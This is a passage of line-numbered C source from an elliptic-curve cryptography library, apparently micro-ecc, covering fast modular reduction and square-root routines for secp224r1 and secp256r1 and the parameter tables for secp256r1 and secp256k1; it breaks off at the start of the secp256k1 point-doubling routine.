500 uECC_vli_modMult_fast(t1, e0, e1, &curve_secp224r1); /* t1 <-- e0 * e1 */
501 uECC_vli_modMult_fast(t1, t1, c, &curve_secp224r1); /* t1 <-- t1 * c */
502 /* t1 <-- p - t1 */
503 uECC_vli_modSub(t1, curve_secp224r1.p, t1, curve_secp224r1.p, num_words_secp224r1);
504 uECC_vli_modMult_fast(t2, d0, d1, &curve_secp224r1); /* t2 <-- d0 * d1 */
505 uECC_vli_modAdd(t2, t2, t1, curve_secp224r1.p, num_words_secp224r1); /* t2 <-- t2 + t1 */
506 uECC_vli_modMult_fast(t1, d0, e1, &curve_secp224r1); /* t1 <-- d0 * e1 */
507 uECC_vli_modMult_fast(e2, d1, e0, &curve_secp224r1); /* e2 <-- d1 * e0 */
508 uECC_vli_modAdd(e2, e2, t1, curve_secp224r1.p, num_words_secp224r1); /* e2 <-- e2 + t1 */
509 uECC_vli_modSquare_fast(f2, e2, &curve_secp224r1); /* f2 <-- e2^2 */
510 uECC_vli_modMult_fast(f2, f2, c, &curve_secp224r1); /* f2 <-- f2 * c */
511 /* f2 <-- p - f2 */
512 uECC_vli_modSub(f2, curve_secp224r1.p, f2, curve_secp224r1.p, num_words_secp224r1);
513 uECC_vli_set(d2, t2, num_words_secp224r1); /* d2 <-- t2 */
514 }
515
516 /* Routine 3.2.7 RP; from http://www.nsa.gov/ia/_files/nist-routines.pdf */
517 static void mod_sqrt_secp224r1_rp(uECC_word_t *d1,
518 uECC_word_t *e1,
519 uECC_word_t *f1,
520 const uECC_word_t *c,
521 const uECC_word_t *r) {
522 wordcount_t i;
523 wordcount_t pow2i = 1;
524 uECC_word_t d0[num_words_secp224r1];
525 uECC_word_t e0[num_words_secp224r1] = {1}; /* e0 <-- 1 */
526 uECC_word_t f0[num_words_secp224r1];
527
528 uECC_vli_set(d0, r, num_words_secp224r1); /* d0 <-- r */
529 /* f0 <-- p - c */
530 uECC_vli_modSub(f0, curve_secp224r1.p, c, curve_secp224r1.p, num_words_secp224r1);
531 for (i = 0; i <= 6; i++) {
532 mod_sqrt_secp224r1_rss(d1, e1, f1, d0, e0, f0, pow2i); /* RSS (d1,e1,f1,d0,e0,f0,2^i) */
533 mod_sqrt_secp224r1_rm(d1, e1, f1, c, d1, e1, d0, e0); /* RM (d1,e1,f1,c,d1,e1,d0,e0) */
534 uECC_vli_set(d0, d1, num_words_secp224r1); /* d0 <-- d1 */
535 uECC_vli_set(e0, e1, num_words_secp224r1); /* e0 <-- e1 */
536 uECC_vli_set(f0, f1, num_words_secp224r1); /* f0 <-- f1 */
537 pow2i *= 2;
538 }
539 }
540
541 /* Compute a = sqrt(a) (mod curve_p). */
542 /* Routine 3.2.8 mp_mod_sqrt_224; from http://www.nsa.gov/ia/_files/nist-routines.pdf */
543 static void mod_sqrt_secp224r1(uECC_word_t *a, uECC_Curve curve) {
544 bitcount_t i;
545 uECC_word_t e1[num_words_secp224r1];
546 uECC_word_t f1[num_words_secp224r1];
547 uECC_word_t d0[num_words_secp224r1];
548 uECC_word_t e0[num_words_secp224r1];
549 uECC_word_t f0[num_words_secp224r1];
550 uECC_word_t d1[num_words_secp224r1];
551
552 /* s = a; using constant instead of random value */
553 mod_sqrt_secp224r1_rp(d0, e0, f0, a, a); /* RP (d0, e0, f0, c, s) */
554 mod_sqrt_secp224r1_rs(d1, e1, f1, d0, e0, f0); /* RS (d1, e1, f1, d0, e0, f0) */
555 for (i = 1; i <= 95; i++) {
556 uECC_vli_set(d0, d1, num_words_secp224r1); /* d0 <-- d1 */
557 uECC_vli_set(e0, e1, num_words_secp224r1); /* e0 <-- e1 */
558 uECC_vli_set(f0, f1, num_words_secp224r1); /* f0 <-- f1 */
559 mod_sqrt_secp224r1_rs(d1, e1, f1, d0, e0, f0); /* RS (d1, e1, f1, d0, e0, f0) */
560 if (uECC_vli_isZero(d1, num_words_secp224r1)) { /* if d1 == 0 */
561 break;
562 }
563 }
564 uECC_vli_modInv(f1, e0, curve_secp224r1.p, num_words_secp224r1); /* f1 <-- 1 / e0 */
565 uECC_vli_modMult_fast(a, d0, f1, &curve_secp224r1); /* a <-- d0 / e0 */
566 }
567 #endif /* uECC_SUPPORT_COMPRESSED_POINT */
568
569 #if (uECC_OPTIMIZATION_LEVEL > 0)
570 /* Computes result = product % curve_p
571 from http://www.nsa.gov/ia/_files/nist-routines.pdf */
572 #if uECC_WORD_SIZE == 1
573 static void vli_mmod_fast_secp224r1(uint8_t *result, uint8_t *product) {
574 uint8_t tmp[num_words_secp224r1];
575 int8_t carry;
576
577 /* t */
578 uECC_vli_set(result, product, num_words_secp224r1);
579
580 /* s1 */
581 tmp[0] = tmp[1] = tmp[2] = tmp[3] = 0;
582 tmp[4] = tmp[5] = tmp[6] = tmp[7] = 0;
583 tmp[8] = tmp[9] = tmp[10] = tmp[11] = 0;
584 tmp[12] = product[28]; tmp[13] = product[29]; tmp[14] = product[30]; tmp[15] = product[31];
585 tmp[16] = product[32]; tmp[17] = product[33]; tmp[18] = product[34]; tmp[19] = product[35];
586 tmp[20] = product[36]; tmp[21] = product[37]; tmp[22] = product[38]; tmp[23] = product[39];
587 tmp[24] = product[40]; tmp[25] = product[41]; tmp[26] = product[42]; tmp[27] = product[43];
588 carry = uECC_vli_add(result, result, tmp, num_words_secp224r1);
589
590 /* s2 */
591 tmp[12] = product[44]; tmp[13] = product[45]; tmp[14] = product[46]; tmp[15] = product[47];
592 tmp[16] = product[48]; tmp[17] = product[49]; tmp[18] = product[50]; tmp[19] = product[51];
593 tmp[20] = product[52]; tmp[21] = product[53]; tmp[22] = product[54]; tmp[23] = product[55];
594 tmp[24] = tmp[25] = tmp[26] = tmp[27] = 0;
595 carry += uECC_vli_add(result, result, tmp, num_words_secp224r1);
596
597 /* d1 */
598 tmp[0] = product[28]; tmp[1] = product[29]; tmp[2] = product[30]; tmp[3] = product[31];
599 tmp[4] = product[32]; tmp[5] = product[33]; tmp[6] = product[34]; tmp[7] = product[35];
600 tmp[8] = product[36]; tmp[9] = product[37]; tmp[10] = product[38]; tmp[11] = product[39];
601 tmp[12] = product[40]; tmp[13] = product[41]; tmp[14] = product[42]; tmp[15] = product[43];
602 tmp[16] = product[44]; tmp[17] = product[45]; tmp[18] = product[46]; tmp[19] = product[47];
603 tmp[20] = product[48]; tmp[21] = product[49]; tmp[22] = product[50]; tmp[23] = product[51];
604 tmp[24] = product[52]; tmp[25] = product[53]; tmp[26] = product[54]; tmp[27] = product[55];
605 carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1);
606
607 /* d2 */
608 tmp[0] = product[44]; tmp[1] = product[45]; tmp[2] = product[46]; tmp[3] = product[47];
609 tmp[4] = product[48]; tmp[5] = product[49]; tmp[6] = product[50]; tmp[7] = product[51];
610 tmp[8] = product[52]; tmp[9] = product[53]; tmp[10] = product[54]; tmp[11] = product[55];
611 tmp[12] = tmp[13] = tmp[14] = tmp[15] = 0;
612 tmp[16] = tmp[17] = tmp[18] = tmp[19] = 0;
613 tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0;
614 tmp[24] = tmp[25] = tmp[26] = tmp[27] = 0;
615 carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1);
616
617 if (carry < 0) {
618 do {
619 carry += uECC_vli_add(result, result, curve_secp224r1.p, num_words_secp224r1);
620 } while (carry < 0);
621 } else {
622 while (carry || uECC_vli_cmp_unsafe(curve_secp224r1.p, result, num_words_secp224r1) != 1) {
623 carry -= uECC_vli_sub(result, result, curve_secp224r1.p, num_words_secp224r1);
624 }
625 }
626 }
627 #elif uECC_WORD_SIZE == 4
628 static void vli_mmod_fast_secp224r1(uint32_t *result, uint32_t *product)
629 {
630 uint32_t tmp[num_words_secp224r1];
631 int carry;
632
633 /* t */
634 uECC_vli_set(result, product, num_words_secp224r1);
635
636 /* s1 */
637 tmp[0] = tmp[1] = tmp[2] = 0;
638 tmp[3] = product[7];
639 tmp[4] = product[8];
640 tmp[5] = product[9];
641 tmp[6] = product[10];
642 carry = uECC_vli_add(result, result, tmp, num_words_secp224r1);
643
644 /* s2 */
645 tmp[3] = product[11];
646 tmp[4] = product[12];
647 tmp[5] = product[13];
648 tmp[6] = 0;
649 carry += uECC_vli_add(result, result, tmp, num_words_secp224r1);
650
651 /* d1 */
652 tmp[0] = product[7];
653 tmp[1] = product[8];
654 tmp[2] = product[9];
655 tmp[3] = product[10];
656 tmp[4] = product[11];
657 tmp[5] = product[12];
658 tmp[6] = product[13];
659 carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1);
660
661 /* d2 */
662 tmp[0] = product[11];
663 tmp[1] = product[12];
664 tmp[2] = product[13];
665 tmp[3] = tmp[4] = tmp[5] = tmp[6] = 0;
666 carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1);
667
668 if (carry < 0) {
669 do {
670 carry += uECC_vli_add(result, result, curve_secp224r1.p, num_words_secp224r1);
671 } while (carry < 0);
672 } else {
673 while (carry || uECC_vli_cmp_unsafe(curve_secp224r1.p, result, num_words_secp224r1) != 1) {
674 carry -= uECC_vli_sub(result, result, curve_secp224r1.p, num_words_secp224r1);
675 }
676 }
677 }
678 #else
679 static void vli_mmod_fast_secp224r1(uint64_t *result, uint64_t *product)
680 {
681 uint64_t tmp[num_words_secp224r1];
682 int carry = 0;
683
684 /* t */
685 uECC_vli_set(result, product, num_words_secp224r1);
686 result[num_words_secp224r1 - 1] &= 0xffffffff;
687
688 /* s1 */
689 tmp[0] = 0;
690 tmp[1] = product[3] & 0xffffffff00000000ull;
691 tmp[2] = product[4];
692 tmp[3] = product[5] & 0xffffffff;
693 uECC_vli_add(result, result, tmp, num_words_secp224r1);
694
695 /* s2 */
696 tmp[1] = product[5] & 0xffffffff00000000ull;
697 tmp[2] = product[6];
698 tmp[3] = 0;
699 uECC_vli_add(result, result, tmp, num_words_secp224r1);
700
701 /* d1 */
702 tmp[0] = (product[3] >> 32) | (product[4] << 32);
703 tmp[1] = (product[4] >> 32) | (product[5] << 32);
704 tmp[2] = (product[5] >> 32) | (product[6] << 32);
705 tmp[3] = product[6] >> 32;
706 carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1);
707
708 /* d2 */
709 tmp[0] = (product[5] >> 32) | (product[6] << 32);
710 tmp[1] = product[6] >> 32;
711 tmp[2] = tmp[3] = 0;
712 carry -= uECC_vli_sub(result, result, tmp, num_words_secp224r1);
713
714 if (carry < 0) {
715 do {
716 carry += uECC_vli_add(result, result, curve_secp224r1.p, num_words_secp224r1);
717 } while (carry < 0);
718 } else {
719 while (uECC_vli_cmp_unsafe(curve_secp224r1.p, result, num_words_secp224r1) != 1) {
720 uECC_vli_sub(result, result, curve_secp224r1.p, num_words_secp224r1);
721 }
722 }
723 }
724 #endif /* uECC_WORD_SIZE */
725 #endif /* (uECC_OPTIMIZATION_LEVEL > 0) */
726
727 #endif /* uECC_SUPPORTS_secp224r1 */
728
729 #if uECC_SUPPORTS_secp256r1
730
731 #if (uECC_OPTIMIZATION_LEVEL > 0)
732 static void vli_mmod_fast_secp256r1(uECC_word_t *result, uECC_word_t *product);
733 #endif
734
735 static const struct uECC_Curve_t curve_secp256r1 = {
736 num_words_secp256r1,
737 num_bytes_secp256r1,
738 256, /* num_n_bits */
739 { BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF),
740 BYTES_TO_WORDS_8(FF, FF, FF, FF, 00, 00, 00, 00),
741 BYTES_TO_WORDS_8(00, 00, 00, 00, 00, 00, 00, 00),
742 BYTES_TO_WORDS_8(01, 00, 00, 00, FF, FF, FF, FF) },
743 { BYTES_TO_WORDS_8(51, 25, 63, FC, C2, CA, B9, F3),
744 BYTES_TO_WORDS_8(84, 9E, 17, A7, AD, FA, E6, BC),
745 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF),
746 BYTES_TO_WORDS_8(00, 00, 00, 00, FF, FF, FF, FF) },
747 { BYTES_TO_WORDS_8(96, C2, 98, D8, 45, 39, A1, F4),
748 BYTES_TO_WORDS_8(A0, 33, EB, 2D, 81, 7D, 03, 77),
749 BYTES_TO_WORDS_8(F2, 40, A4, 63, E5, E6, BC, F8),
750 BYTES_TO_WORDS_8(47, 42, 2C, E1, F2, D1, 17, 6B),
751
752 BYTES_TO_WORDS_8(F5, 51, BF, 37, 68, 40, B6, CB),
753 BYTES_TO_WORDS_8(CE, 5E, 31, 6B, 57, 33, CE, 2B),
754 BYTES_TO_WORDS_8(16, 9E, 0F, 7C, 4A, EB, E7, 8E),
755 BYTES_TO_WORDS_8(9B, 7F, 1A, FE, E2, 42, E3, 4F) },
756 { BYTES_TO_WORDS_8(4B, 60, D2, 27, 3E, 3C, CE, 3B),
757 BYTES_TO_WORDS_8(F6, B0, 53, CC, B0, 06, 1D, 65),
758 BYTES_TO_WORDS_8(BC, 86, 98, 76, 55, BD, EB, B3),
759 BYTES_TO_WORDS_8(E7, 93, 3A, AA, D8, 35, C6, 5A) },
760 &double_jacobian_default,
761 #if uECC_SUPPORT_COMPRESSED_POINT
762 &mod_sqrt_default,
763 #endif
764 &x_side_default,
765 #if (uECC_OPTIMIZATION_LEVEL > 0)
766 &vli_mmod_fast_secp256r1
767 #endif
768 };
769
770 uECC_Curve uECC_secp256r1(void) { return &curve_secp256r1; }
771
772
773 #if (uECC_OPTIMIZATION_LEVEL > 0 && !asm_mmod_fast_secp256r1)
774 /* Computes result = product % curve_p
775 from http://www.nsa.gov/ia/_files/nist-routines.pdf */
776 #if uECC_WORD_SIZE == 1
777 static void vli_mmod_fast_secp256r1(uint8_t *result, uint8_t *product) {
778 uint8_t tmp[num_words_secp256r1];
779 int8_t carry;
780
781 /* t */
782 uECC_vli_set(result, product, num_words_secp256r1);
783
784 /* s1 */
785 tmp[0] = tmp[1] = tmp[2] = tmp[3] = 0;
786 tmp[4] = tmp[5] = tmp[6] = tmp[7] = 0;
787 tmp[8] = tmp[9] = tmp[10] = tmp[11] = 0;
788 tmp[12] = product[44]; tmp[13] = product[45]; tmp[14] = product[46]; tmp[15] = product[47];
789 tmp[16] = product[48]; tmp[17] = product[49]; tmp[18] = product[50]; tmp[19] = product[51];
790 tmp[20] = product[52]; tmp[21] = product[53]; tmp[22] = product[54]; tmp[23] = product[55];
791 tmp[24] = product[56]; tmp[25] = product[57]; tmp[26] = product[58]; tmp[27] = product[59];
792 tmp[28] = product[60]; tmp[29] = product[61]; tmp[30] = product[62]; tmp[31] = product[63];
793 carry = uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1);
794 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
795
796 /* s2 */
797 tmp[12] = product[48]; tmp[13] = product[49]; tmp[14] = product[50]; tmp[15] = product[51];
798 tmp[16] = product[52]; tmp[17] = product[53]; tmp[18] = product[54]; tmp[19] = product[55];
799 tmp[20] = product[56]; tmp[21] = product[57]; tmp[22] = product[58]; tmp[23] = product[59];
800 tmp[24] = product[60]; tmp[25] = product[61]; tmp[26] = product[62]; tmp[27] = product[63];
801 tmp[28] = tmp[29] = tmp[30] = tmp[31] = 0;
802 carry += uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1);
803 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
804
805 /* s3 */
806 tmp[0] = product[32]; tmp[1] = product[33]; tmp[2] = product[34]; tmp[3] = product[35];
807 tmp[4] = product[36]; tmp[5] = product[37]; tmp[6] = product[38]; tmp[7] = product[39];
808 tmp[8] = product[40]; tmp[9] = product[41]; tmp[10] = product[42]; tmp[11] = product[43];
809 tmp[12] = tmp[13] = tmp[14] = tmp[15] = 0;
810 tmp[16] = tmp[17] = tmp[18] = tmp[19] = 0;
811 tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0;
812 tmp[24] = product[56]; tmp[25] = product[57]; tmp[26] = product[58]; tmp[27] = product[59];
813 tmp[28] = product[60]; tmp[29] = product[61]; tmp[30] = product[62]; tmp[31] = product[63];
814 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
815
816 /* s4 */
817 tmp[0] = product[36]; tmp[1] = product[37]; tmp[2] = product[38]; tmp[3] = product[39];
818 tmp[4] = product[40]; tmp[5] = product[41]; tmp[6] = product[42]; tmp[7] = product[43];
819 tmp[8] = product[44]; tmp[9] = product[45]; tmp[10] = product[46]; tmp[11] = product[47];
820 tmp[12] = product[52]; tmp[13] = product[53]; tmp[14] = product[54]; tmp[15] = product[55];
821 tmp[16] = product[56]; tmp[17] = product[57]; tmp[18] = product[58]; tmp[19] = product[59];
822 tmp[20] = product[60]; tmp[21] = product[61]; tmp[22] = product[62]; tmp[23] = product[63];
823 tmp[24] = product[52]; tmp[25] = product[53]; tmp[26] = product[54]; tmp[27] = product[55];
824 tmp[28] = product[32]; tmp[29] = product[33]; tmp[30] = product[34]; tmp[31] = product[35];
825 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
826
827 /* d1 */
828 tmp[0] = product[44]; tmp[1] = product[45]; tmp[2] = product[46]; tmp[3] = product[47];
829 tmp[4] = product[48]; tmp[5] = product[49]; tmp[6] = product[50]; tmp[7] = product[51];
830 tmp[8] = product[52]; tmp[9] = product[53]; tmp[10] = product[54]; tmp[11] = product[55];
831 tmp[12] = tmp[13] = tmp[14] = tmp[15] = 0;
832 tmp[16] = tmp[17] = tmp[18] = tmp[19] = 0;
833 tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0;
834 tmp[24] = product[32]; tmp[25] = product[33]; tmp[26] = product[34]; tmp[27] = product[35];
835 tmp[28] = product[40]; tmp[29] = product[41]; tmp[30] = product[42]; tmp[31] = product[43];
836 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
837
838 /* d2 */
839 tmp[0] = product[48]; tmp[1] = product[49]; tmp[2] = product[50]; tmp[3] = product[51];
840 tmp[4] = product[52]; tmp[5] = product[53]; tmp[6] = product[54]; tmp[7] = product[55];
841 tmp[8] = product[56]; tmp[9] = product[57]; tmp[10] = product[58]; tmp[11] = product[59];
842 tmp[12] = product[60]; tmp[13] = product[61]; tmp[14] = product[62]; tmp[15] = product[63];
843 tmp[16] = tmp[17] = tmp[18] = tmp[19] = 0;
844 tmp[20] = tmp[21] = tmp[22] = tmp[23] = 0;
845 tmp[24] = product[36]; tmp[25] = product[37]; tmp[26] = product[38]; tmp[27] = product[39];
846 tmp[28] = product[44]; tmp[29] = product[45]; tmp[30] = product[46]; tmp[31] = product[47];
847 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
848
849 /* d3 */
850 tmp[0] = product[52]; tmp[1] = product[53]; tmp[2] = product[54]; tmp[3] = product[55];
851 tmp[4] = product[56]; tmp[5] = product[57]; tmp[6] = product[58]; tmp[7] = product[59];
852 tmp[8] = product[60]; tmp[9] = product[61]; tmp[10] = product[62]; tmp[11] = product[63];
853 tmp[12] = product[32]; tmp[13] = product[33]; tmp[14] = product[34]; tmp[15] = product[35];
854 tmp[16] = product[36]; tmp[17] = product[37]; tmp[18] = product[38]; tmp[19] = product[39];
855 tmp[20] = product[40]; tmp[21] = product[41]; tmp[22] = product[42]; tmp[23] = product[43];
856 tmp[24] = tmp[25] = tmp[26] = tmp[27] = 0;
857 tmp[28] = product[48]; tmp[29] = product[49]; tmp[30] = product[50]; tmp[31] = product[51];
858 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
859
860 /* d4 */
861 tmp[0] = product[56]; tmp[1] = product[57]; tmp[2] = product[58]; tmp[3] = product[59];
862 tmp[4] = product[60]; tmp[5] = product[61]; tmp[6] = product[62]; tmp[7] = product[63];
863 tmp[8] = tmp[9] = tmp[10] = tmp[11] = 0;
864 tmp[12] = product[36]; tmp[13] = product[37]; tmp[14] = product[38]; tmp[15] = product[39];
865 tmp[16] = product[40]; tmp[17] = product[41]; tmp[18] = product[42]; tmp[19] = product[43];
866 tmp[20] = product[44]; tmp[21] = product[45]; tmp[22] = product[46]; tmp[23] = product[47];
867 tmp[24] = tmp[25] = tmp[26] = tmp[27] = 0;
868 tmp[28] = product[52]; tmp[29] = product[53]; tmp[30] = product[54]; tmp[31] = product[55];
869 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
870
871 if (carry < 0) {
872 do {
873 carry += uECC_vli_add(result, result, curve_secp256r1.p, num_words_secp256r1);
874 } while (carry < 0);
875 } else {
876 while (carry || uECC_vli_cmp_unsafe(curve_secp256r1.p, result, num_words_secp256r1) != 1) {
877 carry -= uECC_vli_sub(result, result, curve_secp256r1.p, num_words_secp256r1);
878 }
879 }
880 }
881 #elif uECC_WORD_SIZE == 4
882 static void vli_mmod_fast_secp256r1(uint32_t *result, uint32_t *product) {
883 uint32_t tmp[num_words_secp256r1];
884 int carry;
885
886 /* t */
887 uECC_vli_set(result, product, num_words_secp256r1);
888
889 /* s1 */
890 tmp[0] = tmp[1] = tmp[2] = 0;
891 tmp[3] = product[11];
892 tmp[4] = product[12];
893 tmp[5] = product[13];
894 tmp[6] = product[14];
895 tmp[7] = product[15];
896 carry = uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1);
897 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
898
899 /* s2 */
900 tmp[3] = product[12];
901 tmp[4] = product[13];
902 tmp[5] = product[14];
903 tmp[6] = product[15];
904 tmp[7] = 0;
905 carry += uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1);
906 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
907
908 /* s3 */
909 tmp[0] = product[8];
910 tmp[1] = product[9];
911 tmp[2] = product[10];
912 tmp[3] = tmp[4] = tmp[5] = 0;
913 tmp[6] = product[14];
914 tmp[7] = product[15];
915 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
916
917 /* s4 */
918 tmp[0] = product[9];
919 tmp[1] = product[10];
920 tmp[2] = product[11];
921 tmp[3] = product[13];
922 tmp[4] = product[14];
923 tmp[5] = product[15];
924 tmp[6] = product[13];
925 tmp[7] = product[8];
926 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
927
928 /* d1 */
929 tmp[0] = product[11];
930 tmp[1] = product[12];
931 tmp[2] = product[13];
932 tmp[3] = tmp[4] = tmp[5] = 0;
933 tmp[6] = product[8];
934 tmp[7] = product[10];
935 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
936
937 /* d2 */
938 tmp[0] = product[12];
939 tmp[1] = product[13];
940 tmp[2] = product[14];
941 tmp[3] = product[15];
942 tmp[4] = tmp[5] = 0;
943 tmp[6] = product[9];
944 tmp[7] = product[11];
945 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
946
947 /* d3 */
948 tmp[0] = product[13];
949 tmp[1] = product[14];
950 tmp[2] = product[15];
951 tmp[3] = product[8];
952 tmp[4] = product[9];
953 tmp[5] = product[10];
954 tmp[6] = 0;
955 tmp[7] = product[12];
956 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
957
958 /* d4 */
959 tmp[0] = product[14];
960 tmp[1] = product[15];
961 tmp[2] = 0;
962 tmp[3] = product[9];
963 tmp[4] = product[10];
964 tmp[5] = product[11];
965 tmp[6] = 0;
966 tmp[7] = product[13];
967 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
968
969 if (carry < 0) {
970 do {
971 carry += uECC_vli_add(result, result, curve_secp256r1.p, num_words_secp256r1);
972 } while (carry < 0);
973 } else {
974 while (carry || uECC_vli_cmp_unsafe(curve_secp256r1.p, result, num_words_secp256r1) != 1) {
975 carry -= uECC_vli_sub(result, result, curve_secp256r1.p, num_words_secp256r1);
976 }
977 }
978 }
979 #else
980 static void vli_mmod_fast_secp256r1(uint64_t *result, uint64_t *product) {
981 uint64_t tmp[num_words_secp256r1];
982 int carry;
983
984 /* t */
985 uECC_vli_set(result, product, num_words_secp256r1);
986
987 /* s1 */
988 tmp[0] = 0;
989 tmp[1] = product[5] & 0xffffffff00000000ull;
990 tmp[2] = product[6];
991 tmp[3] = product[7];
992 carry = (int)uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1);
993 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
994
995 /* s2 */
996 tmp[1] = product[6] << 32;
997 tmp[2] = (product[6] >> 32) | (product[7] << 32);
998 tmp[3] = product[7] >> 32;
999 carry += uECC_vli_add(tmp, tmp, tmp, num_words_secp256r1);
1000 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
1001
1002 /* s3 */
1003 tmp[0] = product[4];
1004 tmp[1] = product[5] & 0xffffffff;
1005 tmp[2] = 0;
1006 tmp[3] = product[7];
1007 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
1008
1009 /* s4 */
1010 tmp[0] = (product[4] >> 32) | (product[5] << 32);
1011 tmp[1] = (product[5] >> 32) | (product[6] & 0xffffffff00000000ull);
1012 tmp[2] = product[7];
1013 tmp[3] = (product[6] >> 32) | (product[4] << 32);
1014 carry += uECC_vli_add(result, result, tmp, num_words_secp256r1);
1015
1016 /* d1 */
1017 tmp[0] = (product[5] >> 32) | (product[6] << 32);
1018 tmp[1] = (product[6] >> 32);
1019 tmp[2] = 0;
1020 tmp[3] = (product[4] & 0xffffffff) | (product[5] << 32);
1021 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
1022
1023 /* d2 */
1024 tmp[0] = product[6];
1025 tmp[1] = product[7];
1026 tmp[2] = 0;
1027 tmp[3] = (product[4] >> 32) | (product[5] & 0xffffffff00000000ull);
1028 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
1029
1030 /* d3 */
1031 tmp[0] = (product[6] >> 32) | (product[7] << 32);
1032 tmp[1] = (product[7] >> 32) | (product[4] << 32);
1033 tmp[2] = (product[4] >> 32) | (product[5] << 32);
1034 tmp[3] = (product[6] << 32);
1035 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
1036
1037 /* d4 */
1038 tmp[0] = product[7];
1039 tmp[1] = product[4] & 0xffffffff00000000ull;
1040 tmp[2] = product[5];
1041 tmp[3] = product[6] & 0xffffffff00000000ull;
1042 carry -= uECC_vli_sub(result, result, tmp, num_words_secp256r1);
1043
1044 if (carry < 0) {
1045 do {
1046 carry += uECC_vli_add(result, result, curve_secp256r1.p, num_words_secp256r1);
1047 } while (carry < 0);
1048 } else {
1049 while (carry || uECC_vli_cmp_unsafe(curve_secp256r1.p, result, num_words_secp256r1) != 1) {
1050 carry -= uECC_vli_sub(result, result, curve_secp256r1.p, num_words_secp256r1);
1051 }
1052 }
1053 }
1054 #endif /* uECC_WORD_SIZE */
1055 #endif /* (uECC_OPTIMIZATION_LEVEL > 0 && !asm_mmod_fast_secp256r1) */
1056
1057 #endif /* uECC_SUPPORTS_secp256r1 */
1058
1059 #if uECC_SUPPORTS_secp256k1
1060
1061 static void double_jacobian_secp256k1(uECC_word_t * X1,
1062 uECC_word_t * Y1,
1063 uECC_word_t * Z1,
1064 uECC_Curve curve);
1065 static void x_side_secp256k1(uECC_word_t *result, const uECC_word_t *x, uECC_Curve curve);
1066 #if (uECC_OPTIMIZATION_LEVEL > 0)
1067 static void vli_mmod_fast_secp256k1(uECC_word_t *result, uECC_word_t *product);
1068 #endif
1069
1070 static const struct uECC_Curve_t curve_secp256k1 = {
1071 num_words_secp256k1,
1072 num_bytes_secp256k1,
1073 256, /* num_n_bits */
1074 { BYTES_TO_WORDS_8(2F, FC, FF, FF, FE, FF, FF, FF),
1075 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF),
1076 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF),
1077 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF) },
1078 { BYTES_TO_WORDS_8(41, 41, 36, D0, 8C, 5E, D2, BF),
1079 BYTES_TO_WORDS_8(3B, A0, 48, AF, E6, DC, AE, BA),
1080 BYTES_TO_WORDS_8(FE, FF, FF, FF, FF, FF, FF, FF),
1081 BYTES_TO_WORDS_8(FF, FF, FF, FF, FF, FF, FF, FF) },
1082 { BYTES_TO_WORDS_8(98, 17, F8, 16, 5B, 81, F2, 59),
1083 BYTES_TO_WORDS_8(D9, 28, CE, 2D, DB, FC, 9B, 02),
1084 BYTES_TO_WORDS_8(07, 0B, 87, CE, 95, 62, A0, 55),
1085 BYTES_TO_WORDS_8(AC, BB, DC, F9, 7E, 66, BE, 79),
1086
1087 BYTES_TO_WORDS_8(B8, D4, 10, FB, 8F, D0, 47, 9C),
1088 BYTES_TO_WORDS_8(19, 54, 85, A6, 48, B4, 17, FD),
1089 BYTES_TO_WORDS_8(A8, 08, 11, 0E, FC, FB, A4, 5D),
1090 BYTES_TO_WORDS_8(65, C4, A3, 26, 77, DA, 3A, 48) },
1091 { BYTES_TO_WORDS_8(07, 00, 00, 00, 00, 00, 00, 00),
1092 BYTES_TO_WORDS_8(00, 00, 00, 00, 00, 00, 00, 00),
1093 BYTES_TO_WORDS_8(00, 00, 00, 00, 00, 00, 00, 00),
1094 BYTES_TO_WORDS_8(00, 00, 00, 00, 00, 00, 00, 00) },
1095 &double_jacobian_secp256k1,
1096 #if uECC_SUPPORT_COMPRESSED_POINT
1097 &mod_sqrt_default,
1098 #endif
1099 &x_side_secp256k1,
1100 #if (uECC_OPTIMIZATION_LEVEL > 0)
1101 &vli_mmod_fast_secp256k1
1102 #endif
1103 };
1104
1105 uECC_Curve uECC_secp256k1(void) { return &curve_secp256k1; }
1106
1107
1108 /* Double in place */
1109 static void double_jacobian_secp256k1(uECC_word_t * X1,
1110 uECC_word_t * Y1,
1111 uECC_word_t * Z1,
1112 uECC_Curve curve) {
1113 /* t1 = X, t2 = Y, t3 = Z */
1114 uECC_word_t t4[num_words_secp256k1];
1115 uECC_word_t t5[num_words_secp256k1];
1116
